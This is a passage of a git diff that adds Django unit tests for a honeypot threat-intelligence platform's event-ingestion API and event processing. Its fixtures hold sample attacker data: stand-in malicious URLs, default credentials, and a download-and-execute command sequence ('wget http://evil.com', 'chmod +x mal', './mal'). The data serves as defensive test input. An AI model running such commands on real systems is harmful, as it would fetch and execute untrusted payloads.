res.data["error"]) + + def test_locked_api_source_returns_403(self): + self.api_source.is_active = False + self.api_source.save() + payload = {"events": [valid_event(self.sensor.id)]} + res = self.client.post(EVENTS_URL, payload, format="json") + self.assertEqual(res.status_code, status.HTTP_403_FORBIDDEN) + self.assertIn("locked", res.data["error"]) + + +class TestEventsCreateValidation(BaseEventTestCase): + def test_empty_events_list_returns_400(self): + res = self.client.post(EVENTS_URL, {"events": []}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + + def test_missing_events_key_returns_400(self): + res = self.client.post(EVENTS_URL, {}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + + def test_missing_required_src_ip_returns_400(self): + event = valid_event(self.sensor.id) + del event["src_ip"] + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + self.assertIn("src_ip", str(res.data)) + + def test_missing_required_event_type_returns_400(self): + event = valid_event(self.sensor.id) + del event["event_type"] + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + + def test_missing_required_timestamp_returns_400(self): + event = valid_event(self.sensor.id) + del event["timestamp"] + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + + def test_missing_required_sensor_id_returns_400(self): + event = valid_event(self.sensor.id) + del event["sensor_id"] + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + + def test_invalid_ip_returns_400(self): + event = valid_event(self.sensor.id, src_ip="not-an-ip") + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + + def test_future_timestamp_returns_400(self): + future_ts = (timezone.now() + timezone.timedelta(hours=1)).isoformat() + event = valid_event(self.sensor.id, timestamp=future_ts) + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + self.assertIn("future", str(res.data).lower()) + + def test_src_port_out_of_range_returns_400(self): + event = valid_event(self.sensor.id, src_port=99999) + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + + def test_dest_port_out_of_range_returns_400(self): + event = valid_event(self.sensor.id, dest_port=0) + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + + def test_invalid_event_count_incremented_on_bad_payload(self): + before = self.api_source.invalid_event_count + event = valid_event(self.sensor.id, src_ip="bad-ip") + self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.api_source.refresh_from_db() + self.assertEqual(self.api_source.invalid_event_count, before + 1) + + def test_exceeding_max_batch_size_returns_400(self): + # Sending 10 001 events should fail InjectionSerializer's max_length + events = [valid_event(self.sensor.id) for _ in range(10_001)] + res = self.client.post(EVENTS_URL, {"events": events}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + + def test_events_root_must_be_dict(self): + res = self.client.post(EVENTS_URL, [], format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + + def test_timestamp_now_is_accepted(self): + now_ts = timezone.now().isoformat() + event = valid_event(self.sensor.id, timestamp=now_ts) + + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.assertEqual(res.status_code, status.HTTP_202_ACCEPTED) + + def test_sensor_from_other_api_source_is_rejected(self): + other_user = make_user(username="other2") + other_api = make_api_source(other_user, name="OtherUniqueSource") + other_sensor = make_sensor(api_source=other_api) + + event = valid_event(other_sensor.id) + + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + + +class TestEventsCreateSuccess(BaseEventTestCase): + @patch("api.views.event.async_task", return_value="task-abc-123") + def test_single_valid_event_returns_202(self, mock_task): + payload = {"events": [valid_event(self.sensor.id)]} + res = self.client.post(EVENTS_URL, payload, format="json") + self.assertEqual(res.status_code, status.HTTP_202_ACCEPTED) + + @patch("api.views.event.async_task", return_value="task-abc-123") + def test_response_contains_required_fields(self, mock_task): + payload = {"events": [valid_event(self.sensor.id)]} + res = self.client.post(EVENTS_URL, payload, format="json") + for key in ("message", "task_id", "status_url"): + self.assertIn(key, res.data) + + @patch("api.views.event.async_task", return_value="task-xyz") + def test_status_url_contains_task_id(self, mock_task): + payload = {"events": [valid_event(self.sensor.id)]} + res = self.client.post(EVENTS_URL, payload, format="json") + + # Verify that the status_url contains the correct lookup identifier returned in the response + expected_task_id = res.data["task_id"] + self.assertIn(f"/api/events/status/{expected_task_id}/", res.data["status_url"]) + mock_task.assert_called_once() + + @patch("api.views.event.async_task", return_value="task-multi") + def test_multiple_valid_events_accepted(self, mock_task): + events = [valid_event(self.sensor.id) for _ in range(5)] + res = self.client.post(EVENTS_URL, {"events": events}, format="json") + self.assertEqual(res.status_code, status.HTTP_202_ACCEPTED) + self.assertIn("5", res.data["message"]) + + @patch("api.views.event.async_task", return_value="task-db") + def test_raw_events_persisted_in_db(self, mock_task): + events = [valid_event(self.sensor.id) for _ in range(3)] + res = self.client.post(EVENTS_URL, {"events": events}, format="json") + self.assertEqual(res.status_code, status.HTTP_202_ACCEPTED) + task_id = res.data["task_id"] + self.assertEqual(RawEvent.objects.filter(batch__task_id=task_id).count(), 3) + + @patch("api.views.event.async_task", return_value="task-batchstatus") + def test_event_status_created_with_pending(self, mock_task): + payload = {"events": [valid_event(self.sensor.id)]} + res = self.client.post(EVENTS_URL, payload, format="json") + + batch = EventStatus.objects.get(task_id=res.data["task_id"]) + + self.assertEqual(batch.task_id, res.data["task_id"]) + mock_task.assert_called_once() + + @patch("api.views.event.async_task", return_value="task-optional") + def test_optional_fields_accepted(self, mock_task): + event = valid_event( + self.sensor.id, + session_id="sess-1", + token_id="tok-1", + protocol="tcp", + service_name="ssh", + username="root", + password="toor", + cve_id="CVE-2024-0001", + command="whoami", + src_port=4444, + dest_port=22, + related_url="http://evil.example.com/malware", + payload_hash="a" * 64, + data={"extra": "info"}, + ) + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.assertEqual(res.status_code, status.HTTP_202_ACCEPTED) + + @patch("api.views.event.async_task", return_value="task-ipv6") + def test_ipv6_src_ip_accepted(self, mock_task): + event = valid_event(self.sensor.id, src_ip="2001:db8::1") + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.assertEqual(res.status_code, status.HTTP_202_ACCEPTED) + + @patch("api.views.event.async_task", return_value="task-dup") + def test_duplicate_requests_create_separate_batches(self, mock_task): + payload = {"events": [valid_event(self.sensor.id)]} + + res1 = self.client.post(EVENTS_URL, payload, format="json") + res2 = self.client.post(EVENTS_URL, payload, format="json") + + self.assertEqual(res1.status_code, status.HTTP_202_ACCEPTED) + self.assertEqual(res2.status_code, status.HTTP_202_ACCEPTED) + + self.assertNotEqual(res1.data["task_id"], res2.data["task_id"]) + self.assertEqual(mock_task.call_count, 2) + + @patch("api.views.event.create_batch_and_events", side_effect=Exception("DB crash")) + def test_batch_creation_failure_returns_500(self, mock_create): + payload = {"events": [valid_event(self.sensor.id)]} + + res = self.client.post(EVENTS_URL, payload, format="json") + + self.assertEqual(res.status_code, status.HTTP_500_INTERNAL_SERVER_ERROR) + + @patch("api.views.event.async_task") + def test_events_create_all_invalid_sensors_locks_api_source_after_10_failures(self, mock_task): + """ + Verifies that if an APISource reaches 10 failed batch insertion + attempts due to invalid sensor data, it is automatically deactivated (locked). + """ + # Set the current count to 9 (so the next failure hits the 10 threshold) + self.api_source.invalid_event_count = 9 + self.api_source.save() + + # Send a payload containing a non-existent sensor ID + bad_event = valid_event(sensor_id=999999) + res = self.client.post(EVENTS_URL, {"events": [bad_event]}, format="json") + + # The 10th failure must return a 403 Forbidden instead of a 400 Bad Request + self.assertEqual(res.status_code, status.HTTP_403_FORBIDDEN) + self.assertIn("automatically locked", res.data["error"]) + + # Reload from the database to confirm it is locked + self.api_source.refresh_from_db() + self.assertFalse(self.api_source.is_active) + self.assertEqual(self.api_source.invalid_event_count, 10) + + # Ensure background execution was never triggered + mock_task.assert_not_called() + + +class TestEventsCreateAllInvalidSensors(BaseEventTestCase): + @patch("api.views.event.async_task") + def test_nonexistent_sensor_ids_return_400(self, mock_task): + """All events reference a sensor that does not exist → 0 rows created → 400.""" + event = valid_event(sensor_id=999999) + res = self.client.post(EVENTS_URL, {"events": [event]}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + self.assertIn("Invalid or missing sensor_id", res.data["error"]) + # background task must NOT be dispatched + mock_task.assert_not_called() + + @patch("api.views.event.async_task", return_value="task-partial") + def test_mixed_valid_and_invalid_sensors_stores_none(self, mock_task): + """One valid sensor + one ghost sensor → entire batch rejected with 400.""" + good = valid_event(self.sensor.id) + bad = valid_event(sensor_id=999999) + res = self.client.post(EVENTS_URL, {"events": [good, bad]}, format="json") + self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) + self.assertIn("Invalid or missing sensor_id", res.data["error"]) + self.assertEqual(RawEvent.objects.count(), 0) + mock_task.assert_not_called() + + +class TestEventStatusView(BaseEventTestCase): + def _make_batch(self, task_id="task-status-1", batch_status="pending"): + return EventStatus.objects.create( + api_source=self.api_source, + task_id=task_id, + status=batch_status, + ) + + def test_unauthenticated_returns_401(self): + anon = APIClient() + res = anon.get(STATUS_URL.format(task_id="whatever")) + self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED) + + def test_no_api_source_returns_403(self): + user2 = make_user(username="noapi2") + client2 = auth_client(user2) + res = client2.get(STATUS_URL.format(task_id="whatever")) + self.assertEqual(res.status_code, status.HTTP_403_FORBIDDEN) + + def test_unknown_task_id_returns_404(self): + res = self.client.get(STATUS_URL.format(task_id="does-not-exist")) + self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) + + def test_batch_belonging_to_other_user_returns_404(self): + """Users must not be able to see other users' batches.""" + user2 = make_user(username="other") + api_source2 = make_api_source(user2, name="OtherSource") + EventStatus.objects.create( + api_source=api_source2, + task_id="task-other", + status="pending", + ) + res = self.client.get(STATUS_URL.format(task_id="task-other")) + self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) + + def test_valid_task_id_returns_200(self): + self._make_batch() + res = self.client.get(STATUS_URL.format(task_id="task-status-1")) + self.assertEqual(res.status_code, status.HTTP_200_OK) + + def test_response_contains_required_fields(self): + self._make_batch() + res = self.client.get(STATUS_URL.format(task_id="task-status-1")) + for key in ("task_id", "batch_id", "status", "ioc_count", "last_error", "processed_at", "created_at"): + self.assertIn(key, res.data) + + def test_status_pending_reflected(self): + self._make_batch(batch_status="pending") + res = self.client.get(STATUS_URL.format(task_id="task-status-1")) + self.assertEqual(res.data["status"], "pending") + + def test_status_completed_reflected(self): + self._make_batch(task_id="task-done", batch_status="completed") + res = self.client.get(STATUS_URL.format(task_id="task-done")) + self.assertEqual(res.data["status"], "completed") + + def test_status_failed_with_error_message(self): + batch = self._make_batch(task_id="task-fail", batch_status="failed") + batch.last_error = "Something went wrong" + batch.save(update_fields=["last_error"]) + res = self.client.get(STATUS_URL.format(task_id="task-fail")) + self.assertEqual(res.data["status"], "failed") + self.assertEqual(res.data["last_error"], "Something went wrong") + + def test_null_last_error_returned_as_none(self): + batch = self._make_batch(task_id="task-noerror") + batch.last_error = "" + batch.save() + res = self.client.get(STATUS_URL.format(task_id="task-noerror")) + self.assertIsNone(res.data["last_error"]) + + def test_ioc_count_returned(self): + batch = self._make_batch(task_id="task-ioc") + batch.ioc_count = 42 + batch.save(update_fields=["ioc_count"]) + res = self.client.get(STATUS_URL.format(task_id="task-ioc")) + self.assertEqual(res.data["ioc_count"], 42) + + def test_locked_api_source_returns_403_on_status(self): + self._make_batch() + self.api_source.is_active = False + self.api_source.save() + res = self.client.get(STATUS_URL.format(task_id="task-status-1")) + # locked source should still return 403 to be consistent with create view + self.assertEqual(res.status_code, status.HTTP_403_FORBIDDEN) + + def test_status_changes_over_time(self): + batch = self._make_batch(task_id="task-flow", batch_status="pending") + + batch.status = "processing" + batch.save() + + res = self.client.get(STATUS_URL.format(task_id="task-flow")) + self.assertEqual(res.data["status"], "processing") + + @patch("api.views.event.async_task") + def test_events_create_fails_when_background_queue_crashing(self, mock_async_task): + """ + If the message broker or async_task dispatcher throws an exception, + the API must catch it, transition the batch status to FAILED with the traceback, + and return a 500 Internal Server Error instead of staying stuck in PENDING. + """ + mock_async_task.side_effect = Exception("Connection refused by Redis broker") + + payload = {"events": [valid_event(self.sensor.id)]} + + res = self.client.post(EVENTS_URL, payload, format="json") + + self.assertEqual(res.status_code, status.HTTP_500_INTERNAL_SERVER_ERROR) + self.assertIn("An internal error occurred while queueing events", res.data["error"]) + + batch = EventStatus.objects.get(api_source=self.api_source) + self.assertEqual(batch.status, EventStatusType.FAILED) + self.assertIn("Background task dispatch failed", batch.last_error) + self.assertIn("Connection refused by Redis broker", batch.last_error) diff --git a/tests/greedybear/test_process_event.py b/tests/greedybear/test_process_event.py new file mode 100644 index 000000000..f6cd1e3e4 --- /dev/null +++ b/tests/greedybear/test_process_event.py @@ -0,0 +1,547 @@ +import hashlib +from unittest.mock import MagicMock, patch + +from django.contrib.auth import get_user_model +from django.utils import timezone + +from greedybear.models import ( + IOC, + CommandSequence, + Credential, + EventStatus, + RawEvent, +) +from greedybear.process_event import ( + _normalize_raw_event_to_hit, + _process_commands, + _process_credentials, + _process_related_urls, + process_incoming_event, +) +from tests import CustomTestCase, make_api_source, make_sensor, make_user + +User = get_user_model() + + +PATCH_IOCS_FROM_HITS = "greedybear.process_event.iocs_from_hits" +PATCH_IOC_PROCESSOR = "greedybear.process_event.IocProcessor" +PATCH_UPDATE_SCORES = "greedybear.process_event.UpdateScores" +PATCH_GET_ATTACK_TYPE = "greedybear.process_event.get_attack_type" + + +def make_batch(api_source, task_id="task-proc-1", batch_status="pending"): + return EventStatus.objects.create( + api_source=api_source, + task_id=task_id, + status=batch_status, + ) + + +def make_raw_event(batch, sensor, **kwargs): + defaults = { + "src_ip": "10.0.0.1", + "event_type": "ssh", + "timestamp": timezone.now() - timezone.timedelta(seconds=5), + "processed": False, + } + defaults.update(kwargs) + return RawEvent.objects.create(batch=batch, sensor=sensor, **defaults) + + +def make_ioc(name="10.0.0.1"): + ioc = MagicMock(spec=IOC) + ioc.name = name + ioc.related_urls = [] + return ioc + + +class TestNormalizeRawEventToHit(CustomTestCase): + def setUp(self): + self.user = make_user() + self.api_source = make_api_source(self.user) + self.sensor = make_sensor(api_source=self.api_source) + self.batch = make_batch(self.api_source) + + def _raw(self, **kwargs): + return make_raw_event(self.batch, self.sensor, **kwargs) + + def test_valid_event_returns_dict(self): + raw = self._raw(src_ip="1.2.3.4") + result = _normalize_raw_event_to_hit(raw) + self.assertIsNotNone(result) + self.assertEqual(result["src_ip"], "1.2.3.4") + + def test_timestamp_in_hit(self): + ts = timezone.now() - timezone.timedelta(minutes=5) + raw = self._raw(src_ip="1.2.3.4", timestamp=ts) + result = _normalize_raw_event_to_hit(raw) + self.assertIn("@timestamp", result) + + def test_credential_key_added_when_username_and_password(self): + raw = self._raw(src_ip="1.2.3.4", username="admin", password="secret", protocol="ssh") + result = _normalize_raw_event_to_hit(raw) + self.assertIn("_credential", result) + self.assertEqual(result["_credential"]["username"], "admin") + self.assertEqual(result["_credential"]["password"], "secret") + + def test_no_credential_key_without_password(self): + raw = self._raw(src_ip="1.2.3.4", username="admin", password="") + result = _normalize_raw_event_to_hit(raw) + self.assertNotIn("_credential", result) + + def test_no_credential_key_without_username(self): + raw = self._raw(src_ip="1.2.3.4", username="", password="secret") + result = _normalize_raw_event_to_hit(raw) + self.assertNotIn("_credential", result) + + def test_related_url_in_hit(self): + raw = self._raw(src_ip="1.2.3.4", related_url="http://evil.com/payload") + result = _normalize_raw_event_to_hit(raw) + self.assertEqual(result["_related_url"], "http://evil.com/payload") + + def test_command_in_hit(self): + raw = self._raw(src_ip="1.2.3.4", command="wget http://evil.com") + result = _normalize_raw_event_to_hit(raw) + self.assertEqual(result["_command"], "wget http://evil.com") + + def test_dest_port_in_hit(self): + raw = self._raw(src_ip="1.2.3.4", dest_port=22) + result = _normalize_raw_event_to_hit(raw) + self.assertEqual(result["dest_port"], 22) + + def test_sensor_object_in_hit(self): + raw = self._raw(src_ip="1.2.3.4") + result = _normalize_raw_event_to_hit(raw) + self.assertEqual(result["_sensor"], raw.sensor) + + +class TestProcessCredentials(CustomTestCase): + def setUp(self): + Credential.objects.all().delete() + self.user = make_user(username="cred_user") + self.api_source = make_api_source(self.user, name="CredSource") + self.sensor = make_sensor(api_source=self.api_source) + self.batch = make_batch(self.api_source, task_id="task-cred") + # Create a real IOC for M2M + self.ioc = IOC.objects.create(name="10.0.0.1", type="ip") + + def _hit(self, username="admin", password="pass", protocol="ssh"): + return {"_credential": {"username": username, "password": password, "protocol": protocol}} + + def test_credential_created_and_linked(self): + _process_credentials(self.ioc, [self._hit()]) + cred = Credential.objects.get(username="admin", password="pass", protocol="ssh") + self.assertIn(self.ioc, cred.sources.all()) + + def test_idempotent_double_call_no_duplicate(self): + _process_credentials(self.ioc, [self._hit()]) + _process_credentials(self.ioc, [self._hit()]) + self.assertEqual( + Credential.objects.filter(username="admin", password="pass", protocol="ssh").count(), + 1, + ) + + def test_hit_without_credential_key_skipped(self): + _process_credentials(self.ioc, [{"src_ip": "1.1.1.1"}]) + self.assertEqual(Credential.objects.count(), 0) + + def test_multiple_credentials_all_linked(self): + hits = [ + self._hit("root", "toor", "telnet"), + self._hit("admin", "1234", "http"), + ] + _process_credentials(self.ioc, hits) + self.assertEqual(self.ioc.credentials.count(), 2) + + def test_same_credential_from_multiple_ips(self): + ioc2 = IOC.objects.create(name="10.0.0.2", type="ip") + _process_credentials(self.ioc, [self._hit()]) + _process_credentials(ioc2, [self._hit()]) + cred = Credential.objects.get(username="admin") + self.assertIn(self.ioc, cred.sources.all()) + self.assertIn(ioc2, cred.sources.all()) + + +class TestProcessRelatedUrls(CustomTestCase): + def setUp(self): + self.ioc = IOC.objects.create(name="10.0.0.3", type="ip", related_urls=[]) + + def _hit(self, url): + return {"_related_url": url} + + def test_url_added_to_ioc(self): + _process_related_urls(self.ioc, [self._hit("http://evil.com/malware")]) + self.ioc.refresh_from_db() + self.assertIn("http://evil.com/malware", self.ioc.related_urls) + + def test_root_path_url_skipped(self): + _process_related_urls(self.ioc, [self._hit("http://evil.com/")]) + self.ioc.refresh_from_db() + self.assertEqual(self.ioc.related_urls, []) + + def test_empty_path_url_skipped(self): + _process_related_urls(self.ioc, [self._hit("http://evil.com")]) + self.ioc.refresh_from_db() + self.assertEqual(self.ioc.related_urls or [], []) + + def test_duplicate_url_not_added_twice(self): + url = "http://evil.com/stage2" + _process_related_urls(self.ioc, [self._hit(url)]) + _process_related_urls(self.ioc, [self._hit(url)]) + self.ioc.refresh_from_db() + self.assertEqual(self.ioc.related_urls.count(url), 1) + + def test_new_url_appended_to_existing(self): + self.ioc.related_urls = ["http://evil.com/existing"] + self.ioc.save() + _process_related_urls(self.ioc, [self._hit("http://evil.com/new")]) + self.ioc.refresh_from_db() + self.assertIn("http://evil.com/existing", self.ioc.related_urls) + self.assertIn("http://evil.com/new", self.ioc.related_urls) + + def test_no_urls_in_hits_no_db_write(self): + with self.assertNumQueries(0): + _process_related_urls(self.ioc, [{"src_ip": "1.1.1.1"}]) + + def test_urls_sorted_in_db(self): + _process_related_urls( + self.ioc, + [self._hit("http://z.com/z"), self._hit("http://a.com/a")], + ) + self.ioc.refresh_from_db() + self.assertEqual(self.ioc.related_urls, sorted(self.ioc.related_urls)) + + +class TestProcessCommands(CustomTestCase): + def setUp(self): + super().setUp() + # enabling isolated test + CommandSequence.objects.all().delete() + + def _hit(self, cmd): + return {"_command": cmd} + + def test_command_sequence_created(self): + _process_commands([self._hit("whoami"), self._hit("id")]) + self.assertEqual(CommandSequence.objects.count(), 1) + seq = CommandSequence.objects.first() + self.assertIn("whoami", seq.commands) + self.assertIn("id", seq.commands) + + def test_duplicate_commands_deduplicated(self): + _process_commands([self._hit("whoami"), self._hit("whoami")]) + seq = CommandSequence.objects.first() + self.assertEqual(seq.commands.count("whoami"), 1) + + def test_command_order_preserved(self): + cmds = ["cd /tmp", "wget http://evil.com", "chmod +x mal", "./mal"] + _process_commands([self._hit(c) for c in cmds]) + seq = CommandSequence.objects.first() + self.assertEqual(seq.commands, cmds) + + def test_same_sequence_idempotent(self): + _process_commands([self._hit("ls")]) + _process_commands([self._hit("ls")]) + self.assertEqual(CommandSequence.objects.count(), 1) + + def test_different_sequences_create_separate_records(self): + _process_commands([self._hit("ls")]) + _process_commands([self._hit("pwd")]) + self.assertEqual(CommandSequence.objects.count(), 2) + + def test_hash_is_sha256_of_joined_commands(self): + cmds = ["ls", "pwd"] + _process_commands([self._hit(c) for c in cmds]) + expected_hash = hashlib.sha256("|".join(cmds).encode()).hexdigest() + seq = CommandSequence.objects.first() + self.assertEqual(seq.commands_hash, expected_hash) + + def test_empty_hits_creates_nothing(self): + _process_commands([{"src_ip": "1.1.1.1"}]) + self.assertEqual(CommandSequence.objects.count(), 0) + + def test_empty_command_string_skipped(self): + _process_commands([self._hit("")]) + self.assertEqual(CommandSequence.objects.count(), 0) + + +class TestProcessIncomingEvent(CustomTestCase): + def setUp(self): + self.user = make_user(username="proc_int_user") + self.api_source = make_api_source(self.user, name="ProcIntSource") + self.sensor = make_sensor(api_source=self.api_source) + self.batch = make_batch(self.api_source, task_id="task-int-1") + + def _make_raw(self, **kwargs): + return make_raw_event(self.batch, self.sensor, **kwargs) + + def _mock_ioc(self, name="10.0.0.1"): + return IOC.objects.create(name=name, type="ip") + + def test_nonexistent_batch_id_returns_early(self): + """Should not raise; logs error and returns.""" + process_incoming_event(self.api_source.id, task_id=999999) + # Nothing explodes and batch table is unchanged + self.assertEqual(EventStatus.objects.filter(task_id=999999).count(), 0) + + def test_empty_raw_events_completes_batch(self): + process_incoming_event(self.api_source.id, self.batch.task_id) + self.batch.refresh_from_db() + self.assertEqual(self.batch.status, "completed") + self.assertIsNotNone(self.batch.processed_at) + + @patch(PATCH_IOCS_FROM_HITS, return_value=[]) + def test_all_raw_events_invalid_sets_failed(self, mock_hits): + self._make_raw(src_ip="192.168.1.1") + + process_incoming_event(self.api_source.id, self.batch.task_id) + self.batch.refresh_from_db() + self.assertEqual(self.batch.status, "failed") + + @patch(PATCH_IOCS_FROM_HITS, return_value=[]) + def test_zero_iocs_from_hits_sets_failed(self, mock_hits): + self._make_raw(src_ip="1.2.3.4") + process_incoming_event(self.api_source.id, self.batch.task_id) + self.batch.refresh_from_db() + self.assertEqual(self.batch.status, "failed") + self.assertIn("0 IOCs", self.batch.last_error) + + @patch(PATCH_UPDATE_SCORES) + @patch(PATCH_GET_ATTACK_TYPE, return_value="scanner") + @patch(PATCH_IOC_PROCESSOR) + @patch(PATCH_IOCS_FROM_HITS) + def test_happy_path_completes_batch(self, mock_hits, mock_processor_cls, mock_attack, mock_scores_cls): + self._make_raw(src_ip="5.6.7.8") + saved_ioc = self._mock_ioc("5.6.7.8") + + mock_hits.return_value = [make_ioc("5.6.7.8")] + processor_instance = MagicMock() + processor_instance.add_ioc.return_value = saved_ioc + mock_processor_cls.return_value = processor_instance + + scores_instance = MagicMock() + mock_scores_cls.return_value = scores_instance + + process_incoming_event(self.api_source.id, self.batch.task_id) + + self.batch.refresh_from_db() + self.assertEqual(self.batch.status, "completed") + self.assertEqual(self.batch.ioc_count, 1) + self.assertIsNotNone(self.batch.processed_at) + + @patch(PATCH_UPDATE_SCORES) + @patch(PATCH_GET_ATTACK_TYPE, return_value="scanner") + @patch(PATCH_IOC_PROCESSOR) + @patch(PATCH_IOCS_FROM_HITS) + def test_raw_events_marked_processed(self, mock_hits, mock_processor_cls, mock_attack, mock_scores_cls): + raw = self._make_raw(src_ip="5.6.7.8") + saved_ioc = self._mock_ioc("5.6.7.8") + + mock_hits.return_value = [make_ioc("5.6.7.8")] + processor_instance = MagicMock() + processor_instance.add_ioc.return_value = saved_ioc + mock_processor_cls.return_value = processor_instance + mock_scores_cls.return_value = MagicMock() + + process_incoming_event(self.api_source.id, self.batch.task_id) + + raw.refresh_from_db() + self.assertTrue(raw.processed) + + @patch(PATCH_UPDATE_SCORES) + @patch(PATCH_GET_ATTACK_TYPE, return_value="scanner") + @patch(PATCH_IOC_PROCESSOR) + @patch(PATCH_IOCS_FROM_HITS) + def test_scoring_called_when_iocs_exist(self, mock_hits, mock_processor_cls, mock_attack, mock_scores_cls): + self._make_raw(src_ip="5.6.7.8") + saved_ioc = self._mock_ioc("5.6.7.8") + + mock_hits.return_value = [make_ioc("5.6.7.8")] + processor_instance = MagicMock() + processor_instance.add_ioc.return_value = saved_ioc + mock_processor_cls.return_value = processor_instance + + scores_instance = MagicMock() + mock_scores_cls.return_value = scores_instance + + process_incoming_event(self.api_source.id, self.batch.task_id) + + scores_instance.score_only.assert_called_once_with([saved_ioc]) + + @patch(PATCH_UPDATE_SCORES) + @patch(PATCH_GET_ATTACK_TYPE, return_value="scanner") + @patch(PATCH_IOC_PROCESSOR) + @patch(PATCH_IOCS_FROM_HITS) + def test_scoring_not_called_when_all_filtered(self, mock_hits, mock_processor_cls, mock_attack, mock_scores_cls): + """Processor filters every IOC → score_only must not be called.""" + self._make_raw(src_ip="5.6.7.8") + + mock_hits.return_value = [make_ioc("5.6.7.8")] + processor_instance = MagicMock() + processor_instance.add_ioc.return_value = None # filtered + mock_processor_cls.return_value = processor_instance + + scores_instance = MagicMock() + mock_scores_cls.return_value = scores_instance + + process_incoming_event(self.api_source.id, self.batch.task_id) + + scores_instance.score_only.assert_not_called() + + @patch(PATCH_IOCS_FROM_HITS, side_effect=RuntimeError("DB exploded")) + def test_unexpected_exception_sets_failed_and_last_error(self, mock_hits): + self._make_raw(src_ip="1.2.3.4") + process_incoming_event(self.api_source.id, self.batch.task_id) + self.batch.refresh_from_db() + self.assertEqual(self.batch.status, "failed") + self.assertIn("DB exploded", self.batch.last_error) + + @patch(PATCH_IOCS_FROM_HITS, side_effect=RuntimeError("crash")) + def test_processed_at_set_even_on_failure(self, mock_hits): + """finally block must always set processed_at.""" + self._make_raw(src_ip="1.2.3.4") + process_incoming_event(self.api_source.id, self.batch.task_id) + self.batch.refresh_from_db() + self.assertIsNotNone(self.batch.processed_at) + + @patch(PATCH_IOCS_FROM_HITS, side_effect=RuntimeError("x" * 2000)) + def test_last_error_truncated_to_1000_chars(self, mock_hits): + self._make_raw(src_ip="1.2.3.4") + process_incoming_event(self.api_source.id, self.batch.task_id) + self.batch.refresh_from_db() + self.assertLessEqual(len(self.batch.last_error), 1000) + + @patch(PATCH_UPDATE_SCORES) + @patch(PATCH_GET_ATTACK_TYPE, return_value="scanner") + @patch(PATCH_IOC_PROCESSOR) + @patch(PATCH_IOCS_FROM_HITS) + def test_ioc_count_matches_persisted_iocs(self, mock_hits, mock_processor_cls, mock_attack, mock_scores_cls): + for ip in ("1.1.1.1", "2.2.2.2", "3.3.3.3"): + self._make_raw(src_ip=ip) + IOC.objects.create(name=ip, type="ip") + + ioc_objects = [make_ioc(ip) for ip in ("1.1.1.1", "2.2.2.2", "3.3.3.3")] + mock_hits.return_value = ioc_objects + + processor_instance = MagicMock() + # Each call returns a different saved IOC + saved_iocs = [IOC.objects.get(name=ip) for ip in ("1.1.1.1", "2.2.2.2", "3.3.3.3")] + processor_instance.add_ioc.side_effect = saved_iocs + mock_processor_cls.return_value = processor_instance + mock_scores_cls.return_value = MagicMock() + + process_incoming_event(self.api_source.id, self.batch.task_id) + + self.batch.refresh_from_db() + self.assertEqual(self.batch.ioc_count, 3) + + @patch(PATCH_UPDATE_SCORES) + @patch(PATCH_IOC_PROCESSOR) + @patch(PATCH_IOCS_FROM_HITS) + def test_get_attack_type_classification(self, mock_hits, mock_processor_cls, mock_scores_cls): + """ + Verify that an IOC with a valid payload URL path is classified as PAYLOAD_REQUEST, + while an IOC with an empty/root path is classified as a SCANNER. + """ + self._make_raw(src_ip="1.1.1.1", related_url="http://evil.com/malware.exe") + self._make_raw(src_ip="2.2.2.2", related_url="http://evil.com/") + + mock_hits.return_value = [make_ioc("1.1.1.1"), make_ioc("2.2.2.2")] + + processor_instance = MagicMock() + mock_processor_cls.return_value = processor_instance + mock_scores_cls.return_value = MagicMock() + + process_incoming_event(self.api_source.id, self.batch.task_id) + + calls = processor_instance.add_ioc.call_args_list + self.assertEqual(len(calls), 2) + + first_call_ioc = calls[0][0][0] + first_call_type = calls[0][0][1] + self.assertEqual(first_call_ioc.name, "1.1.1.1") + self.assertEqual(first_call_type, "payload_request") + + second_call_ioc = calls[1][0][0] + second_call_type = calls[1][0][1] + self.assertEqual(second_call_ioc.name, "2.2.2.2") + self.assertEqual(second_call_type, "scanner") + + def test_processing_or_completed_batch_aborts_immediately(self): + """ + Ensure that if a batch is already in a 'processing' or 'completed' state, + the function exits early to prevent concurrent processing race conditions. + """ + self._make_raw(src_ip="9.9.9.9") + + # Manually shift the status to processing + self.batch.status = "processing" + self.batch.save() + + # Execute the function - it should trigger the guard clause and return early + process_incoming_event(self.api_source.id, self.batch.task_id) + + # Verify that the function exited early without touching the raw events + # If it had advanced, it would have either failed (since iocs_from_hits isn't mocked here) + # or processed them. The raw event must remain unprocessed. + raw_event = RawEvent.objects.filter(batch=self.batch).first() + self.assertFalse(raw_event.processed) + + @patch(PATCH_IOCS_FROM_HITS) + @patch("greedybear.process_event.UpdateScores") + def 